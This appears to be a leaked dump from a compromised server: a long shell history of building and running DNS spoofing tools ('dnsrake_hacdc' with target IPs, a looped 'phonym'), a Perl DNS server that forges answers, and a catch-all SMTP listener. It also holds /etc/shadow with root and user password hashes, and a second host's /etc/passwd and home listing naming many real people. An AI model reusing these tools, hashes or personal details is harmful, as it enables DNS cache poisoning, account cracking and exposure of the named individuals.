mail.pl 6876 perl mail.pl 6877 perl mail.pl 6878 perl mail.pl 6879 fg %2 6880 fg 6881 perl mail.pl 6882 fg 6883 perl mail.pl 6884 vim mail.pl 6885 perl mail.pl 6886 fg 6887 vim mail.pl 6888 hostname 6889 perl mail.pl 6890 screen -D -R 6891 apt-get install screen 6892 screen -D -R 6893 wget http://search.cpan.org/CPAN/authors/id/O/OL/OLAF/Net-DNS-0.63.tar.gz 6894 perl -MCPAN -e shell 6895 screen -D -R 6896 screen -D R 6897 screen -D -R 6898 screen -D -R 6899 fg 6900 screen -D -R 6901 screen -D -R 6902 mysql 6903 cd /etc 6904 cd mysql/ 6905 ls 6906 vim my.cnf 6907 ifconfig 6908 fg 6909 /etc/init.d/mysql stop 6910 /etc/init.d/mysql start 6911 mysql 6912 mysql backend 6913 screen -D -R 6914 apt-get install postfix 6915 dig $RANDOM.doxdns1.com 6916 perl mail.pl 6917 perl mail.pl 6918 wget http://search.cpan.org/CPAN/authors/id/G/GA/GAAS/MIME-Base64-3.07.tar.gz 6919 tar xzvf MIME-Base64-3.07.tar.gz 6920 cd MIME-Base64-3.07 6921 perl Makefile.PL 6922 make 6923 make install 6924 cd .. 6925 vim mail.pl 6926 perl mail.pl 6927 perl mail.pl 6928 perl mail.pl 6929 dig +trace ns89.worldnic.com 6930 dig +trace www.doxpara.com 6931 dig txt123.doxdns1.com 6932 dig txt123.doxdns1.com txt 6933 dig txt123.doxdns1.com txt 6934 dig @backend.doxpara.com txt123.doxdns1.com txt 6935 cd 6936 wget http://perl.secsup.org/authors/id/O/OL/OLAF/Net-DNS-0.63.tar.gz 6937 killall -9 perl 6938 wget http://www.sfr-fresh.com/unix/privat/Net-DNS-0.63.tar.gz 6939 tar xzvf Net-DNS-0.63.tar.gz 6940 cd Net-DNS-0.63 6941 perl Makefile.PL 6942 cd 6943 wget http://search.cpan.org/CPAN/authors/id/M/MA/MANU/Net-IP-1.25.tar.gz 6944 tar xzvf Net-IP-1.25.tar.gz 6945 cd Net-IP-1.25 6946 perl Makefile.PL 6947 make 6948 make install 6949 cd .. 6950 cd Net::DNS 6951 cd *DNS* 6952 ls 6953 perl Makefile 6954 perl Makefile.PL 6955 make install 6956 cd 6957 vim dns.pl 6958 perl dns.pl 6959 fg 6960 vim dns.pl 6961 perl dns.pl 6962 fg 6963 vim dns.pl 6964 perl dns.pl 6965 ifconfig 6966 perl dns.pl 6967 fg 6968 vim dns.pl 6969 perl dns.pl 6970 fg 6971 perl dns.pl 6972 fg 6973 ifconfig 6974 fg 6975 perl dns.pl 6976 fg 6977 vim dns.pl 6978 perl dns.pl 6979 vim dns.pl 6980 perl dns.pl 6981 fg 6982 perl dns.pl 6983 fg 6984 vim dns.pl 6985 perl dns.pl 6986 fg 6987 perl dns.pl 6988 fg 6989 fg 6990 perl dns.pl 6991 ping attacker.doxpara.com 6992 tcpdump -n port 53 6993 apt-get install tcpdump 6994 tcpdump -n port 53 6995 ls 6996 mysql 6997 screen -D -R 6998 passwd root 6999 screen -X 7000 screen -x 7001 screen -D -R -x 7002 screen -X 7003 screen -h 7004 screen -D -R 7005 screen -x 7006 ls 7007 cd /var/www 7008 ls 7009 ls -l 7010 ps axf | grep -i apache 7011 ps axf | grep -i mysql 7012 cd /var/www/ 7013 l 7014 ls 7015 ps axf | grep -i apache 7016 cd /usr 7017 ls 7018 cd /var 7019 ls 7020 cd 7021 ls 7022 cd / 7023 ls 7024 find . | html 7025 find . | grep html 7026 find . | grep apache2 7027 cd /var/www 7028 ls 7029 more index.html 7030 wget 7031 wget http://ftp.drupal.org/files/projects/drupal-5.15.tar.gz 7032 tar xzvf drupal-5.15.tar.gz 7033 cd drupal-5.15 7034 ls 7035 mv * .. 7036 cd .. 7037 ls 7038 chmod -R 0777 sites/default/settings.php 7039 mysql 7040 chmod 0700 sites/default/settings.php 7041 ls 7042 rm index.html 7043 vi settings.php 7044 vi sites/default/settings.php 7045 mysql toorcamp 7046 ls 7047 mv drupal-5.15.tar.gz .. 7048 rm -rf * 7049 tar xzvf ../drupal-5.15.tar.gz 7050 cd drupal-5.15/ 7051 ls 7052 mv * .. 7053 cd . . 7054 ls 7055 ls 7056 cd .. 7057 ls 7058 mysql 7059 chmod 0777 sites/default/settings.php 7060 chmod 0700 sites/default/settings.php 7061 chmod -R 0777 . 7062 ls 7063 ls 7064 ls 7065 ls 7066 ls -l toorcamp.sql 7067 ls -l toorcamp.sql 7068 ls -l toorcamp.sql 7069 ls -l toorcamp.sql 7070 ls -l toorcamp.sql 7071 ls -l toorcamp.sql 7072 ls -l toorcamp.sql 7073 ls -l toorcamp.sql 7074 ls -l toorcamp.sql 7075 ls -l toorcamp.sql 7076 ls -l toorcamp.sql 7077 ls -l toorcamp.sql 7078 ls -l toorcamp.sql 7079 ls -l toorcamp.sql 7080 ls -l toorcamp.sql 7081 ls -l toorcamp.sql 7082 ls -l toorcamp.sql 7083 ls -l toorcamp.sql 7084 ls -l toorcamp.sql 7085 ls -l toorcamp.sql 7086 ls -l toorcamp.sql 7087 ls -l toorcamp.sql 7088 sync 7089 sync 7090 ls - l 7091 ls -l 7092 mysqldump toorcamp | less 7093 mysqldump toorcamp | less 7094 mysqldump toorcamp > toorcamp.sql 7095 ls -l toorcamp.sql 7096 mysql toorcamp 7097 cd 7098 perl dns.pl 7099 fg 7100 vim dns.pl 7101 perl dns.pl 7102 perl dns.pl 7103 fg 7104 perl dns.pl 7105 fg 7106 vim dns.pl 7107 perl dns.pl 7108 vim phonym.c 7109 ls 7110 perl dns.pl 7111 cd 7112 vim phonym.c 7113 gcc -o phonym phonym.c -ldns 7114 gcc -o phonym phonym.c -lldns 7115 ./phonym com 7116 ./phonym doxpara.com 7117 ./phonym doxpara.com 7118 ./phonym doxpara.com 7119 while [ 1 ] ; do ./phonym doxpara.com; done 7120 while [ 1 ] ; do ./phonym doxpara.com; done 7121 ./phonym doxpara.com 7122 ./phonym doxpara.com 7123 ./phonym doxpara.com 7124 ./phonym doxpara.com 7125 ./phonym doxpara.com 7126 ./phonym doxpara.com 7127 ./phonym doxpara.com 7128 ./phonym doxpara.com 7129 ./phonym doxpara.com 7130 ./phonym doxpara.com 7131 ./phonym doxpara.com 7132 ./phonym doxpara.com 7133 ./phonym doxpara.com 7134 ./phonym doxpara.com 7135 ./phonym doxpara.com 7136 gf 7137 fg 7138 vim phonym.c 7139 ls 7140 apt-cache search ldns 7141 wget http://www.nlnetlabs.nl/downloads/ldns/ldns-1.5.1.tar.gz 7142 tar xzvf ldns-1.5.1.tar.gz 7143 cd ldns-1.5.1 7144 ls 7145 ./configure 7146 apt-get install openssl-dev 7147 apt-cache search ssl 7148 apt-get install libssl-dev 7149 apt-get update 7150 apt-get install libssl-dev 7151 ./configure 7152 make -j2 7153 make install 7154 cd 7155 gcc -o phonym phonym.c 7156 touch config.h 7157 gcc -o phonym phonym.c 7158 gcc -o phonym phonym.c -ldns 7159 gcc -o phonym phonym.c -lldns 7160 ./phonym doxpara.com 7161 ln -s /usr/local/lib/libldns.so.1 /usr/lib/libldns.so.1 7162 ./phonym doxpara.com 7163 ./phonym doxpara.com 7164 dig @backend.doxpara.com foo.com 7165 dig @backend.doxpara.com foobar.com 7166 fg 7167 vim phonym.c 7168 gcc -o phonym phonym.c -lldns 7169 ./phonym doxpara.com 7170 ifconfig 7171 ./phonym doxpara.com 7172 ./phonym doxpara.com 7173 ./phonym doxpara.com 7174 ./phonym doxpara.com 7175 ./phonym doxpara.com 7176 ./phonym doxpara.com 7177 ./phonym doxpara.com 7178 ./phonym doxpara.com 7179 ./phonym doxpara.com 7180 screen -D -R 7181 screen -D -R 7182 cd 7183 perl dns 7184 perl dns.pl 7185 fg 7186 vim dns.pl 7187 perl dns.pl 7188 fg 7189 perl dns.pl 7190 fg 7191 perl dns.pl 7192 fg 7193 perl dns.pl 7194 fg 7195 perl dns.pl 7196 fg 7197 perl dns.pl 7198 fg 7199 perl dns.pl 7200 ls 7201 ls -l 7202 man emacs 7203 emacs 7204 man vi 7205 man vim 7206 ls ../ 7207 pwd 7208 home 7209 ls ../usr/ 7210 ls ../home 7211 ls /bin 7212 exit 7213 exit 7214 exit 7215 w 7216 ls 7217 screen -D -R 7218 ls 7219 vim dnsrake_hacdc.c 7220 gcc -o phonym phonym.c -lldns 7221 gcc -o dnsrake_hacdc dnsrake_hacdc.c 7222 perl hacdcdemo.pl 7223 ps axf | grep -i perl 7224 ps axf | grep -i pl 7225 perl hacdcdemo.pl 7226 vim hacdcdemo.pl 7227 perl hacdcdemo.pl 7228 vim hacdcdemo.pl 7229 perl hacdcdemo.pl 7230 fg 7231 vim hacdcdemo.pl 7232 perl hacdcdemo.pl 7233 screen -d -R 7234 screen -D -R 7235 gcc -o dnsrake_hacdc dnsrake_hacdc.c 7236 ./dnsrake_hacdc 209.40.204.174 65.54.240.126 www.doxpara.com 1203 6.6.6.6 500 $RANDOM.www.doxpara.com 7237 ./dnsrake_hacdc 209.40.204.174 65.54.240.126 www.doxpara.com 1203 6.6.6.6 500 $RANDOM.www.doxpara.com 7238 ifconfig 7239 ps -axf | grep perl 7240 kill 29374 7241 ps -axf | grep perl 7242 screen -D -R 7243 curl http://68.49.183.84 7244 curl http://68.49.183.84 7245 ls 7246 ls -l *.pl 7247 dig @deluvian.doxpara.com foo.com 7248 dig +dnssec @deluvian.doxpara.com foo.com 7249 dig +dnssec @deluvian.doxpara.com yahoo.com 7250 dig +dnssec @deluvian.doxpara.com yahoo.com +short 7251 dig +dnssec @deluvian.doxpara.com cnn.com +short 7252 dig +dnssec @deluvian.doxpara.com metafilter.com +short 7253 dig +dnssec @deluvian.doxpara.com facebook.com +short 7254 dig +dnssec @deluvian.doxpara.com facebook.com +short 7255 dig +dnssec @deluvian.doxpara.com facebook.com +short 7256 dig +dnssec @deluvian.doxpara.com facebook.com +short 7257 dig +dnssec @deluvian.doxpara.com facebook.com +short 7258 dig +dnssec @deluvian.doxpara.com facebook.com +short 7259 dig +dnssec @deluvian.doxpara.com facebook.com +short 7260 dig +dnssec @deluvian.doxpara.com facebook.com +short 7261 dig +dnssec @deluvian.doxpara.com facebook.com +short 7262 dig +dnssec @deluvian.doxpara.com facebook.com +short 7263 dig +dnssec @deluvian.doxpara.com www.cnn.com +short 7264 ps ax 7265 PID TTY STAT TIME COMMAND 7266 1 ? Ss 0:00 init [2] 7267 2 ? S 0:00 [migration/0] 7268 3 ? SN 0:00 [ksoftirqd/0] 7269 4 ? S 0:00 [watchdog/0] 7270 5 ? S< 0:00 [events/0] 7271 6 ? S< 0:00 [khelper] 7272 7 ? S< 0:00 [kthread] 7273 9 ? S< 0:00 [xenwatch] 7274 10 ? S< 0:00 [xenbus] 7275 16 ? S< 0:00 [kblockd/0] 7276 17 ? S< 0:00 [cqueue/0] 7277 21 ? S< 0:00 [khubd] 7278 23 ? S< 0:00 [kseriod] 7279 76 ? S 0:00 [pdflush] 7280 78 ? D< 0:00 [kswapd0] 7281 79 ? S< 0:00 [aio/0] 7282 220 ? S< 0:00 [kpsmoused] 7283 243 ? S< 0:00 [ata/0] 7284 244 ? S< 0:00 [ata_aux] 7285 255 ? S< 0:00 [ksnapd] 7286 260 ? S< 0:03 [kjournald] 7287 346 ? S<s 0:00 /sbin/udevd --daemon 7288 890 ? Ss 0:06 /sbin/syslogd -u syslog 7289 914 ? S 0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg 7290 916 ? Ss 0:00 /sbin/klogd -P /var/run/klogd/kmsg 7291 937 ? Ss 0:00 /usr/sbin/sshd 7292 995 ? S 0:00 /bin/sh /usr/bin/mysqld_safe 7293 1047 ? Sl 0:01 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock 7294 1049 ? S 0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld 7295 1214 ? Ss 0:00 /usr/lib/postfix/master 7296 1220 ? S 0:00 qmgr -l -t fifo -u 7297 1240 ? Ss 0:00 /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat 7298 1254 ? Ss 0:00 /usr/sbin/dovecot 7299 1259 ? S 0:00 dovecot-auth 7300 1274 ? Ss 0:00 /usr/sbin/apache2 -k start 7301 1295 ? S 0:00 /usr/sbin/apache2 -k start 7302 1296 ? S 0:00 /usr/sbin/apache2 -k start 7303 1297 ? S 0:00 /usr/sbin/apache2 -k start 7304 1298 ? S 0:00 /usr/sbin/apache2 -k start 7305 1299 ? S 0:00 /usr/sbin/apache2 -k start 7306 1309 ? Ss 0:00 /bin/bash -- 7307 1321 ? S 0:00 /usr/sbin/apache2 -k start 7308 1322 ? S 0:00 /usr/sbin/apache2 -k start 7309 1323 ? S 0:00 /usr/sbin/apache2 -k start 7310 1328 ? S 0:00 tlsmgr -l -t unix -u -c 7311 2399 ? S 0:00 /usr/sbin/apache2 -k start 7312 6520 ? S 0:00 /usr/sbin/apache2 -k start 7313 13879 ? S 0:00 [pdflush] 7314 27387 ? S 0:00 pickup -l -t fifo -u -c 7315 27804 ? Ss 0:00 sshd: root@notty 7316 27808 ? Ss 0:00 -bash 7317 27832 ? Ss 0:00 sshd: unknown [priv] 7318 27833 ? S 0:00 sshd: unknown [net] 7319 27834 ? R 0:00 ps ax 7320 cat dns.pl 7321 #!/usr/bin/perl 7322 7323 use Net::DNS::Nameserver; 7324 use strict; 7325 use warnings; 7326 7327 sub reply_handler { 7328 my ($qname, $qclass, $qtype, $peerhost,$query) = @_; 7329 my ($rcode, @ans, @auth, @add); 7330 7331 print "Received query from $peerhost\n"; 7332 $query->print; 7333 7334 my $ttl = 300; 7335 7336 7337 if ($qtype eq "A" and $qname ne "ns1.toorrr.com") { 7338 push @ans, Net::DNS::RR->new("$qname $ttl $qclass CNAME www.doxpara.com"); 7339 push @ans, Net::DNS::RR->new("$qname $ttl $qclass A 4.3.2.1"); 7340 #push @ans, Net::DNS::RR->new("ns1.toorrr.com $ttl $qclass A 1.2.3.4"); 7341 #push @ans, Net::DNS::RR->new("ns1.toorrr.com $ttl $qclass A 209.200.168.66"); 7342 $rcode = "NOERROR"; 7343 } 7344 elsif ($qtype eq "A" and $qname eq "ns1.toorrr.com") { 7345 push @ans, Net::DNS::RR->new("ns1.toorrr.com $ttl $qclass A 1.2.3.4"); 7346 push @ans, Net::DNS::RR->new("ns1.toorrr.com $ttl $qclass A 209.200.168.66"); 7347 $rcode = "NOERROR"; 7348 7349 }elsif( $qtype eq "MX" ) { 7350 push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype 10 mail.$qname"); 7351 push @add, Net::DNS::RR->new("mail.$qname $ttl $qclass A 209.40.204.236"); 7352 $rcode = "NOERROR"; 7353 7354 }else{ 7355 $rcode = "NXDOMAIN"; 7356 } 7357 7358 7359 # mark the answer as authoritive (by setting the 'aa' flag 7360 return ($rcode, \@ans, \@auth, \@add, { aa => 1 }); 7361 } 7362 7363 my $ns = Net::DNS::Nameserver->new( 7364 LocalPort => 53, 7365 ReplyHandler => \&reply_handler, 7366 Verbose => 2, 7367 ) || die "couldn't create nameserver object\n"; 7368 7369 $ns->main_loop; 7370 head -n 10 dnsrake_hacdc.c 7371 #define __FAVOR_BSD 7372 #define FAVOR_BSD 7373 7374 #include <stdio.h> 7375 #include <unistd.h> 7376 #include <stdlib.h> 7377 #include <netinet/udp.h> 7378 #include <netinet/in.h> 7379 #include <sys/types.h> 7380 #include <inttypes.h> 7381 cat mail.pl 7382 use IO::Socket::INET; 7383 use Net::Server::Mail::SMTP; 7384 use Data::Dumper; 7385 use MIME::QuotedPrint; 7386 7387 7388 my @local_domains = qw(example.com example.org); 7389 my $server = new IO::Socket::INET Listen => 1, LocalPort => 25, ReuseAddr=>1; 7390 7391 my $conn; 7392 while($conn = $server->accept) 7393 { 7394 my $smtp = new Net::Server::Mail::SMTP socket => $conn; 7395 $smtp->set_callback(RCPT => \&validate_recipient); 7396 $smtp->set_callback(DATA => \&queue_message); 7397 $smtp->process(); 7398 $conn->close(); 7399 } 7400 7401 sub validate_recipient 7402 { 7403 my($session, $recipient) = @_; 7404 7405 return(1); 7406 } 7407 7408 sub queue_message 7409 { 7410 my($session, $data) = @_; 7411 print decode_qp($$data); 7412 return(1, 250, "message queued"); 7413 } 7414 cat /etc/shadow 7415 root:$1$Qa/UTuhe$mxFnYK2t788AwbgOP.e6Q/:14280:0:99999:7::: 7416 daemon:*:14131:0:99999:7::: 7417 bin:*:14131:0:99999:7::: 7418 sys:*:14131:0:99999:7::: 7419 sync:*:14131:0:99999:7::: 7420 games:*:14131:0:99999:7::: 7421 man:*:14131:0:99999:7::: 7422 lp:*:14131:0:99999:7::: 7423 mail:*:14131:0:99999:7::: 7424 news:*:14131:0:99999:7::: 7425 uucp:*:14131:0:99999:7::: 7426 proxy:*:14131:0:99999:7::: 7427 www-data:*:14131:0:99999:7::: 7428 backup:*:14131:0:99999:7::: 7429 list:*:14131:0:99999:7::: 7430 irc:*:14131:0:99999:7::: 7431 gnats:*:14131:0:99999:7::: 7432 nobody:*:14131:0:99999:7::: 7433 libuuid:!:14131:0:99999:7::: 7434 dhcp:*:14131:0:99999:7::: 7435 syslog:*:14131:0:99999:7::: 7436 klog:*:14131:0:99999:7::: 7437 sshd:*:14131:0:99999:7::: 7438 mysql:!:14132:0:99999:7::: 7439 postfix:*:14236:0:99999:7::: 7440 dovecot:*:14236:0:99999:7::: 7441 maildrop:$1$D6ET03sF$UUYNboLjEtwUO3JbOsJEp1:14236:0:99999:7::: 7442 7443 7444 !~~~~~~~~~~~ www.doxpara.com ~~~~~~~~~~! 7445 7446 $ uname -a; id 7447 FreeBSD shaitan1.lightconsulting.com 6.2-RELEASE-p4 FreeBSD 6.2-RELEASE-p4 #0: Thu Apr 26 17:40:53 UTC 2007 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 7448 uid=80(www) gid=80(www) groups=80(www), 1001(thalakan), 1056(skippy) 7449 $ pwd 7450 / 7451 $ cat /etc/passwd 7452 # $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ 7453 # 7454 root:*:0:0:Charlie &:/root:/usr/local/bin/bash 7455 toor:*:0:0:Bourne-again Superuser:/root: 7456 daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin 7457 operator:*:2:5:System &:/:/usr/sbin/nologin 7458 bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin 7459 tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin 7460 kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin 7461 games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin 7462 news:*:8:8:News Subsystem:/:/usr/sbin/nologin 7463 man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin 7464 sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin 7465 smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin 7466 mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin 7467 bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin 7468 proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin 7469 _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin 7470 _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin 7471 uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico 7472 pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin 7473 www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin 7474 nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin 7475 thalakan:*:1001:1001:Jason Spence:/home/thalakan:/bin/tcsh 7476 nouveaux:*:1006:1006:nouveaux:/home/nouveaux:/usr/local/bin/bash 7477 jspence:*:1001:1001:JSpence:/home/jspence:/usr/local/bin/bash 7478 atheris:*:1000:1000:Atheris:/home/atheris:/usr/local/bin/bash 7479 sokol:*:1010:1010:John Sokol:/home/sokol:/bin/sh 7480 vintasia:*:1008:1008:vintasia:/home/vintasia:/usr/local/bin/bash 7481 arc:*:1004:1004:archives user:/home/arc:/nonexistent 7482 rsb:*:1009:1009:Rich Bodo:/home/rsb:/usr/local/bin/bash 7483 eschur:*:1003:1003:Ethan Schur:/home/eschur:/bin/tcsh 7484 zahl:*:1005:1005:Bleu Zahl:/home/zahl:/usr/local/bin/bash 7485 fia:*:1012:1012:Fernando's Insurance:/home/fia:/nonexistent 7486 mysql:*:88:88:MySQL Daemon:/var/db/mysql:/sbin/nologin 7487 eddyboy:*:1007:1007:Ed Vergara:/home/eddyboy:/usr/local/bin/bash 7488 ragingworker:*:1013:1013:john McGee:/home/ragingworker:/usr/local/bin/bash 7489 jlm:*:1014:1014:John McGuffick:/home/jlm:/usr/local/bin/bash 7490 greasythug:*:1015:1015:Kae Saeteurn:/home/greasythug:/usr/local/bin/bash 7491 donnamatrix:*:1016:1016:Stephanie I don't have a last name:/home/donnamatrix:/usr/local/bin/bash 7492 dmarti:*:1017:1017:Don Marti:/home/dmarti:/usr/local/bin/bash 7493 schoen:*:1018:1018:Seth Schoen:/home/schoen:/usr/local/bin/bash 7494 unixsurplus:*:1019:1019:John Bodo:/home/unixsurplus:/usr/local/bin/bash 7495 nblasgen:*:1020:1020:Nick Blasgen:/home/nblasgen:/usr/local/bin/bash 7496 jbodo[disabled]:*:1021:1019:John Bodo:/home/jbodo:/usr/local/bin/bash 7497 dan:*:1022:1022:Dan Kaminski:/home/dan:/usr/local/bin/bash 7498 debian:*:1023:1023:Debian Archives:/home/debian:/usr/bin/bash 7499 lspencedsn:*:1024:1024:Linda Spence:/home/lspencedsn:/usr/local/bin/bash 7500 mbagley:*:1011:1011:Mark Bagley:/home/mbagley:/bin/tcsh 7501 www:*:80:80:World Wide Web Owner:/nonexistent:/sbin/nologin 7502 effugas:*:1025:1025:Dan Kaminsky:/home/effugas:/usr/local/bin/bash 7503 pj:*:1026:1026:Packet Junkie:/home/pj:/usr/local/bin/bash 7504 mailman:*:91:91:Mailman User:/usr/local/mailman:/sbin/nologin 7505 ftpunixsurplus:*:1027:1027:Unix Surplus FTP:/home/ftpunixsurplus:/usr/local/bin/bash 7506 nagios:*:1028:1028:Nagios pseudo-user:/usr/local/var/nagios:/nonexistent 7507 x30n:*:1029:1029:x30n:/home/x30n:/usr/local/bin/bash 7508 addp4:*:1030:1030:addp4:/home/addp4:/usr/local/bin/bash 7509 test1:*:1031:1019:test1:/home/test1:/usr/bin/bash 7510 gpower:*:1032:1019:unixsurplus:/home/unixsurplus:/usr/local/bin/bash 7511 geeksupply:*:1033:1019:unixsurplus:/home/unixsurplus:/usr/local/bin/bash 7512 digrev:*:1034:1034:Digital Revelation:/home/digrev:/usr/local/bin/bash 7513 beansprout:*:1035:1035:Kevin Sexton:/home/beansprout:/usr/local/bin/bash 7514 submicron:*:1037:1037:Gary Buckmaster:/home/submicron:/usr/local/bin/bash 7515 hackerjoe:*:1038:1038:Hacker Joe:/home/hackerjoe:/usr/local/bin/bash 7516 pond:*:1039:1039:The Pond:/home/pond:/usr/local/bin/bash 7517 oracle:*:1036:999:oracle:/home/oracle:/usr/local/bin/bash 7518 drfed:*:1040:1040:Dr. Fed:/home/drfed:/usr/local/bin/bash 7519 visigoth:*:1041:1041:visigoth:/home/visigoth:/usr/local/bin/bash 7520 tagrrr:*:1042:1042:tagrrr:/home/tagrrr:/usr/local/bin/bash 7521 freak:*:1043:1043:freak:/home/freak:/usr/local/bin/bash 7522 temtel:*:1044:1044:temtel:/home/temtel:/usr/local/bin/bash 7523 peter:*:1002:1002:Peter Wang:/home/peter:/usr/local/bin/bash 7524 anoncvs:*:1045:1045:anoncvs:/home/anoncvs:/usr/local/bin/bash 7525 multivac:*:1046:1046:Mike Jerabek:/home/multivac:/usr/local/bin/bash 7526 ej:*:1049:1049:Eugenio Jarosiewicz:/home/ej:/usr/local/bin/bash 7527 jnoland:*:1050:1050:jnoland:/home/jnoland:/usr/local/bin/bash 7528 dnetc:*:105:105:distributed.net client pseudo-user:/nonexistent:/sbin/nologin 7529 aquafire:*:1048:1048:aquafire:/home/aquafire:/usr/local/bin/bash 7530 dimsum:*:1051:1051:dimsum:/home/dimsum:/usr/local/bin/bash 7531 travis:*:1052:1052:travis:/home/travis:/usr/local/bin/bash 7532 dtopham:*:1053:1053:User &:/home/dtopham:/bin/sh 7533 gdm:*:92:92:GNOME Display Manager:/nonexistent:/sbin/nologin 7534 v1ru5:*:1054:1054:User &:/home/v1ru5:/bin/sh 7535 pgibson:*:1055:1055:User &:/home/pgibson:/bin/sh 7536 skippy:*:1056:1056:User &:/home/skippy:/usr/local/bin/bash 7537 brian:*:1057:1057:User &:/home/brian:/bin/sh 7538 sith:*:1058:1058:sucka please,around the belly button:/home/sith:/usr/local/bin/bash 7539 dovecot:*:1059:1059:Dovecot:/home/dovecot:/sbin/nologin 7540 bob:*:1060:1060:User &:/home/bob:/bin/shh 7541 abaddon:*:1061:1062:User &:/home/abaddon:/bin/sh 7542 spamd:*:58:58:SpamAssassin user:/var/spool/spamd:/sbin/nologin 7543 six:*:1062:1063:User &:/home/six:/bin/sh 7544 frog:*:1063:1064:User &:/home/frog:/bin/sh 7545 mother:*:1064:1065:Greg Carothers:/home/mother:/usr/local/bin/bash 7546 anonpoet:*:1065:1066:User &:/home/anonpoet:/bin/sh 7547 drifter:*:1066:1067:Drifter:/home/drifter:/usr/local/bin/bash 7548 plastic:*:1067:1068:User &:/home/plastic:/bin/sh 7549 tspwh:*:1068:1069:User &:/home/tspwh:/bin/sh 7550 darch:*:1069:1070:User &:/home/darch:/bin/sh 7551 wd40:*:1070:1071:User &:/home/wd40:/bin/sh 7552 iphelix:*:1071:1072:User &:/home/iphelix:/bin/sh 7553 postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/usr/sbin/nologin 7554 nightfall:*:1072:1073:User &:/home/nightfall:/bin/sh 7555 messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/sbin/nologin 7556 bannor:*:1073:1074:User &:/home/bannor:/bin/sh 7557 unredo:*:1074:1075:User &:/home/unredo:/bin/sh 7558 mct:*:1075:1076:User &:/home/mct:/bin/sh 7559 t:*:1076:1077:User &:/home/t:/bin/sh 7560 $ cd /home 7561 $ ls -al 7562 total 248974 7563 drwxr-xr-x 73 root wheel 1536 Jun 26 04:56 . 7564 drwxr-xr-x 16 root wheel 512 Sep 22 2007 .. 7565 drwxr-xr-x 3 abaddon abaddon 512 Dec 31 2005 abaddon 7566 drwxr-xr-x 2 addp4 addp4 512 Oct 30 2002 addp4 7567 drwxr-xr-x 2 anoncvs anoncvs 512 Sep 29 2003 anoncvs 7568 drwxr-xr-x 2 anonpoet anonpoet 512 May 10 2006 anonpoet 7569 drwxr-xr-x 5 aquafire aquafire 512 Jul 19 2006 aquafire 7570 drwxr-xr-x 2 arc arc 512 Apr 9 2003 arc 7571 drwxr-xr-x 18 atheris atheris 1024 Apr 23 23:31 atheris 7572 drwxr-xr-x 3 bannor bannor 512 Jan 24 05:51 bannor 7573 drwxr-xr-x 2 beansprout beansprout 512 Feb 26 2003 beansprout 7574 drwxr-xr-x 3 bob bob 512 Mar 27 2006 bob 7575 drwxr-xr-x 2 brian brian 512 May 5 2005 brian 7576 drwxr-xr-x 2 dan dan 512 Mar 7 2002 dan 7577 drwxr-xr-x 2 darch darch 512 Dec 4 2006 darch 7578 drwxr-xr-x 2 debian debian 512 Aug 22 2005 debian 7579 drwxrwx--- 21 digrev digrev 1024 Jul 30 2006 digrev 7580 drwxr-xr-x 6 dimsum dimsum 512 Apr 17 2006 dimsum 7581 drwxr-xr-x 3 dmarti dmarti 512 Jan 24 2002 dmarti 7582 drwxr-xr-x 2 donnamatrix donnamatrix 512 Jan 24 2002 donnamatrix 7583 drwxr-xr-x 2 drfed drfed 512 Jul 5 2003 drfed 7584 drwxr-xr-x 4 drifter drifter 512 Dec 4 2006 drifter 7585 drwxr-xr-x 2 dtopham dtopham 512 Feb 15 2005 dtopham 7586 drwxr-xr-x 3 eddyboy eddyboy 512 Jan 24 2002 eddyboy 7587 drwxr-xr-x 31 effugas effugas 2048 Sep 22 2008 effugas 7588 drwxr-xr-x 3 ej ej 512 Jun 4 2004 ej 7589 drwxr-xr-x 26 eschur eschur 1536 Nov 3 2007 eschur 7590 drwxr-xr-x 2 fia fia 512 Jan 24 2002 fia 7591 drwx------ 12 freak freak 1024 Feb 21 2008 freak 7592 drwxr-xr-x 2 ftpunixsurplus ftpunixsurplus 512 Aug 27 2002 ftpunixsurplus 7593 drwxr-xr-x 2 greasythug greasythug 512 Jan 24 2002 greasythug 7594 drwxr-xr-x 2 hackerjoe hackerjoe 512 Apr 23 2003 hackerjoe 7595 drwxr-xr-x 2 iphelix iphelix 512 Sep 11 2007 iphelix 7596 -rw-r--r-- 1 root wheel 254609557 Oct 2 2007 jbodo.tar.gz 7597 drwxr-xr-x 2 jlm jlm 512 Jan 24 2002 jlm 7598 drwxr-xr-x 3 jnoland jnoland 512 Sep 24 2007 jnoland 7599 drwx------ 2 nobody effugas 512 Mar 12 2007 lost+found 7600 drwxr-xr-x 2 lspencedsn lspencedsn 512 Jun 2 2002 lspencedsn 7601 drwxr-xr-x 6 mbagley mbagley 512 Jan 30 2008 mbagley 7602 drwxr-xr-x 2 mct mct 512 Jun 9 01:15 mct 7603 drwxr-xr-x 5 mother mother 512 Dec 23 2007 mother 7604 drwxr-xr-x 4 multivac multivac 512 Apr 1 20:04 multivac 7605 